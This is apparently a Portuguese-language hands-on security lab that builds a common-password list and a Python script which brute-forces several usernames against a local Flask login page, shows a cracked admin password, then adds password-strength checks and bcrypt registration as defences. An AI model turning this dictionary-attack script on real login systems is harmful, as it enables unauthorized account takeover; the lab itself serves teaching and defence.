Neste laboratório, você aprenderá como identificar e explorar vulnerabilidades de senhas fracas em aplicações web usando Python. Você praticará técnicas comuns de quebra de senhas para entender como os atacantes comprometem sistemas. Este exercício prático o ajudará a desenvolver habilidades essenciais de segurança cibernética, enfatizando a importância de políticas de senhas fortes.
Nesta etapa, reuniremos informações sobre o nosso website alvo, uma primeira fase crucial em qualquer avaliação de segurança. Antes de tentar qualquer quebra de senha, é importante entender como o sistema de login funciona e quais medidas de segurança estão em vigor.
http://localhost:8080/. Você pode acessar isso clicando na aba Web 8080 no ambiente LabEx.
Nota: Na máquina virtual LabEx, o servidor web opera em uma rede pública temporária. Isso significa que o nome de domínio que você vê pode não ser "localhost", mas sim um domínio realmente acessível. Isso é normal e não afeta o exercício do laboratório.
Examine cuidadosamente o formulário de login. Observe o seguinte:
Tente fazer login usando algumas combinações aleatórias de nomes de usuário e senhas. Por exemplo:
test, Senha: password123admin, Senha: adminuser, Senha: 12345Essas são credenciais padrão comuns que muitos iniciantes podem usar. Você deve receber uma mensagem "Nome de usuário ou senha inválidos" para cada tentativa.
Esta fase inicial de reconhecimento é o que os profissionais de segurança chamam de "footprinting" - reunir informações básicas sobre o sistema alvo. Entender esses detalhes nos ajudará a planejar nossa abordagem de quebra de senha de forma mais eficaz nas próximas etapas.
Agora que reunimos informações sobre o sistema de login, criaremos um dicionário de senhas potenciais. Em segurança cibernética, um dicionário de senhas é simplesmente um arquivo de texto contendo uma lista de possíveis senhas que podem ser testadas contra um sistema de login. Esta é uma técnica fundamental usada em tentativas de quebra de senhas, e entendê-la nos ajuda a construir melhores defesas.
passwords.txt:cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOFEste comando usa um recurso especial do bash chamado "here document" (heredoc). É uma maneira conveniente de criar arquivos com várias linhas de conteúdo diretamente da linha de comando. Vamos detalhar o que está acontecendo:
cat << EOF > filename: Isso diz ao bash para pegar toda a entrada até ver "EOF" e redirecioná-la para o arquivo especificadoEOF e o segundo EOF se torna o conteúdo do arquivoEOF final sinaliza o fim da entradaApós a execução, você encontrará um novo arquivo chamado passwords.txt no diretório ~/project/password_lab/. Este arquivo contém 30 das senhas fracas mais comumente usadas. Observe quantas são palavras simples, sequências de números ou pequenas variações - estes são exatamente os tipos de senhas que tornam os sistemas vulneráveis.
Em testes de segurança reais, os profissionais podem usar dicionários contendo:
Lembre-se: Embora estejamos usando este pequeno dicionário para fins educacionais para entender os métodos de ataque, tentar quebrar senhas sem permissão explícita é ilegal e antiético. Este exercício nos ajuda a aprender como construir sistemas de autenticação mais fortes, entendendo as fraquezas comuns.
Com nosso dicionário de senhas em vigor, agora criaremos um script Python para automatizar o processo de teste dessas senhas contra nosso website alvo. Este script simulará como os invasores tentam sistematicamente diferentes combinações de senhas, ajudando-nos a entender a importância de senhas fortes.
Abra o terminal na área de trabalho, se ele ainda não estiver aberto. O terminal é onde escreveremos e executaremos nosso código Python.
Insira o seguinte comando para abrir um novo arquivo chamado password_cracker.py no editor de texto nano:
nano ~/project/password_lab/password_cracker.pyNano é um editor de texto simples que vem pré-instalado na maioria dos sistemas Linux. Usaremos ele para escrever nosso script Python.
import requests
import time
def crack_password(username, password_list):
url = 'http://localhost:8080'
for password in password_list:
response = requests.post(url, data={'username': username, 'password': password.strip()})
if 'Login successful!' in response.text:
print(f"Succeeded! {username} with password: {password.strip()}")
else:
print(f"Failed attempt for {username} with password: {password.strip()}")
time.sleep(0.1) ## Small delay to avoid overwhelming the server
def main():
usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
with open('passwords.txt', 'r') as f:
passwords = f.readlines()
for username in usernames:
print(f"Attempting to crack password for user: {username}")
crack_password(username, passwords)
if __name__ == '__main__':
main()Ctrl+X, depois Y e, finalmente, Enter. Esta sequência salva nossas alterações e nos retorna ao terminal.Vamos examinar como este script funciona em detalhes:
A função crack_password:
requests para enviar solicitações HTTP POST para nosso website de teste.strip() e tenta fazer login.A função main:
passwords.txt) e lê todas as linhas.if __name__ == '__main__': garante que o script seja executado quando executado diretamente.Este script demonstra um padrão básico de ataque de força bruta. Ele tenta sistematicamente todas as senhas em nosso dicionário contra cada nome de usuário. O atraso de tempo é crucial - invasores reais costumam usar atrasos semelhantes para evitar a detecção por sistemas de segurança que monitoram tentativas de login rápidas.
Lembre-se, isso é puramente para fins educacionais. Em cenários do mundo real, realizar tais ações sem permissão explícita é ilegal. Estamos aprendendo essas técnicas para entender e nos defender melhor contra elas, não para nos envolver em acesso não autorizado.
Agora que preparamos nosso script de quebra de senhas, vamos executá-lo e examinar como ele funciona na prática. Esta demonstração prática mostrará exatamente como senhas fracas podem ser comprometidas usando técnicas básicas.
cd ~/project/password_labEste comando altera seu diretório de trabalho para onde armazenamos nosso script Python. É importante estar no diretório correto para que o sistema possa encontrar e executar nosso arquivo.
python password_cracker.pyQuando você pressionar Enter, o script começará a ser executado. Ele funciona tentando sistematicamente senhas comuns de uma lista predefinida contra contas de usuário de exemplo.
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123Observe como o script tenta senhas fracas comuns em sequência até encontrar uma correspondência. Isso é chamado de ataque de dicionário, onde testamos senhas de uma lista de candidatos prováveis.
Este exercício mostra claramente por que senhas simples são perigosas. Em nosso caso de teste, a conta "admin" com a senha "supersecret123" era vulnerável porque aparecia em nosso dicionário de senhas comuns. Embora contenha letras e números, sua previsibilidade tornou-a fácil de quebrar.
Lembre-se: Esta demonstração é apenas para fins educacionais. Usar essas técnicas em sistemas reais sem permissão explícita é ilegal. Nosso objetivo é entender as fraquezas de segurança para que possamos criar políticas de senha mais fortes e proteger melhor os sistemas.
Agora que quebramos com sucesso algumas senhas fracas, vamos implementar medidas de segurança adequadas para evitar tais ataques. Nesta seção, criaremos um verificador de força de senha e um sistema de registro seguro. Essas são práticas de segurança fundamentais usadas por aplicativos web profissionais.
WebIDE na VM do LabEx. WebIDE é um ambiente de desenvolvimento integrado (IDE) baseado na web que permite escrever, executar e depurar código diretamente no seu navegador. É semelhante ao editor VS Code, mas é executado no navegador. WebIDE é adequado para editar arquivos de código mais longos.
No explorador de arquivos no lado esquerdo da tela, clique no arquivo app.py para abri-lo no editor. É aqui que adicionaremos nossas melhorias de segurança.
Adicione a seguinte função após o dicionário users para implementar verificações de força de senha. Esta função usa expressões regulares (regex) para validar a complexidade da senha:
import re
def is_strong_password(password):
if len(password) < 12:
return False
if not re.search(r'[A-Z]', password):
return False
if not re.search(r'[a-z]', password):
return False
if not re.search(r'\d', password):
return False
if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
return False
return True
Esta função verifica se uma senha atende aos padrões de segurança modernos, verificando:
if __name__ == '__main__':. Isso cria uma nova rota em nosso aplicativo web:@app.route('/register', methods=['GET', 'POST'])
def register():
message = ''
if request.method == 'POST':
username = request.form.get('username')
password = request.form.get('password')
if username and password:
if is_strong_password(password):
if username not in users:
users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
message = 'Registration successful!'
else:
message = 'Username already exists'
else:
message = 'Password is not strong enough'
else:
message = 'Username and password are required'
return render_template_string('''
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Secure Registration</title>
<script src="https://cdn.tailwindcss.com"></script>
</head>
<body class="bg-gray-100 h-screen flex items-center justify-center">
<div class="bg-white p-8 rounded-lg shadow-md w-96">
<h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
<form method="post" class="space-y-4">
<div>
<label for="username" class="block text-sm font-medium text-gray-700">Username</label>
<input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<label for="password" class="block text-sm font-medium text-gray-700">Password</label>
<input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
</div>
<div>
<button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
Register
</button>
</div>
</form>
<p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
<p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
</div>
</body>
</html>
''', message=message)
Este sistema de registro faz várias coisas importantes:
Salve as alterações no WebIDE clicando no ícone de salvar ou pressionando Ctrl+S.
Agora, vamos reiniciar o aplicativo Flask para aplicar essas alterações. Abra um terminal e execute:
pkill -f "python app.py"
python ~/project/password_lab/app.pyWeb 8080 e adicione /register à URL para acessar o novo formulário de registro:
Teste a segurança tentando se registrar com uma senha fraca como "password123". O sistema deve rejeitá-la com uma mensagem de erro.
Agora, registre-se com uma senha forte que atenda a todos os critérios. Por exemplo:
labexS3cureP@ssw0rd-2024Observe como esta senha inclui todos os tipos de caracteres necessários e é suficientemente longa.
Vamos testar nossa segurança aprimorada contra o password cracker. Primeiro, modifique o script password_cracker.py para direcionar nossa nova conta:
nano ~/project/password_lab/password_cracker.pyusernames = ['admin', 'user', 'root', 'administrator', 'webmaster']usernames = ['labex'] para direcionar nossa nova contaExecute o script modificado:
python ~/project/password_lab/password_cracker.pyO script deve falhar ao quebrar a senha, demonstrando como as políticas de senha fortes impedem efetivamente ataques de força bruta. Isso mostra por que os aplicativos modernos impõem requisitos de senha complexos.
Neste laboratório, você aprendeu os fundamentos da quebra de senhas ética e dos testes de segurança de aplicativos web. Você praticou técnicas de reconhecimento para identificar vulnerabilidades, criou dicionários de senhas e automatizou simulações de ataque usando scripts Python.
Por meio desta experiência prática, você obteve informações sobre como senhas fracas podem ser exploradas e a importância de implementar medidas de segurança robustas. O laboratório demonstrou contramedidas práticas, como políticas de senha fortes, que podem proteger efetivamente os sistemas contra ataques comuns.
